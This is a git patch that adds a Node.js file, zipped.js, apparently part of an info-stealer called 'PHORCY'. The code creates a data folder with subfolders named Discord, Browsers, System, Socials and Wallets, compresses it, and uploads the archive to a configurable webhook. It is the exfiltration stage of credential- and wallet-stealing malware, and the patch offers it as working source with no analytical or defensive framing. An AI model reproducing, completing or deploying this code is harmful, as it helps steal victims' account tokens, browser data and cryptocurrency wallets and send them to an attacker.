From bf5874465b04345ce53a0479100f2c3420eb0387 Mon Sep 17 00:00:00 2001 From: Synthetic <130696187+syntheticlol@users.noreply.github.com> Date: Thu, 16 Nov 2023 00:51:21 -0500 Subject: [PATCH] Create zipped.js --- Utils/zipped.js | 50 +++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 50 insertions(+) create mode 100644 Utils/zipped.js diff --git a/Utils/zipped.js b/Utils/zipped.js new file mode 100644 index 0000000..8f64d6e --- /dev/null +++ b/Utils/zipped.js @@ -0,0 +1,50 @@ +const fs = require('fs'); +const archiver = require('archiver'); +const axios = require('axios'); +const FormData = require('form-data'); + +const config = { + webhook: "" +} + +function genrandomstr(length) { + const letter = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'; + let answer = ''; + for (let i = 0; i < length; i++) { + answer += letter.charAt(Math.floor(Math.random() * letter.length)); + } + return answer; +} +function cfold() { + const randomstr = genrandomstr(7); + const main = `PHORCY-DATA-${randomstr}`; + const sub = ['Discord', 'Browsers', 'System', 'Socials', 'Wallets']; + fs.mkdirSync(main); + + sub.forEach(subfolder => { + fs.mkdirSync(`${main}/${subfolder}`); + }); + + return main; +} +async function zipped(main) { + const zipfile = `${main}.zip`; + const output123 = fs.createWriteStream(zipfile); + const archive = archiver('zip', { + zlib: { level: 9 } + }); + output123.on('close', async () => { + const form123 = new FormData(); + form123.append('file', fs.createReadStream(zipfile)); + await axios.post(config.webhook, form123, { + headers: { + ...form123.getHeaders(), + } + }); + }); + archive.pipe(output123); + archive.directory(main, false); + archive.finalize(); +} +const main = cfold(); +zipped(main);